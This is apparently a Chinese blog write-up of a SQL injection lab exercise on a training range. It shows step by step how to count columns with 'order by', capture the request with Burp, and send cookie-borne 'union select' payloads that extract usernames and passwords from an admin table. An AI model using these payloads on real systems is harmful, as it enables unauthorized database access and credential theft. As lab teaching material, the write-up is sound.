SQL注入实战（二）

原创

木尤 于 2020-07-10 18:08:18 发布

分类专栏： SQL注入 文章标签： sql

本文链接：https://blog.csdn.net/qq_42545755/article/details/107259141

封神台靶场

https://hack.zkaq.cn/battle/target?id=31ac789a52edf9bb

1.打开网站，打开一篇新闻

http://59.63.200.79:8004/shownews.asp?id=171

2.看下能不能用带参数注入，在后面加个单引号，网页提示传参错误

3.现在试试有几个字段

测试后发现

http://59.63.200.79:8004/shownews.asp?id=171 order by 10

order by 10页面显示正常，但是当用orderby11时显示数据库错误

4.先试试burp抓包

抓包发现存在cookice

用modheader

5.试试提交cookice

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

所有的字段显示出来，说明存在admin

6.接着在cookice里面设置

id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin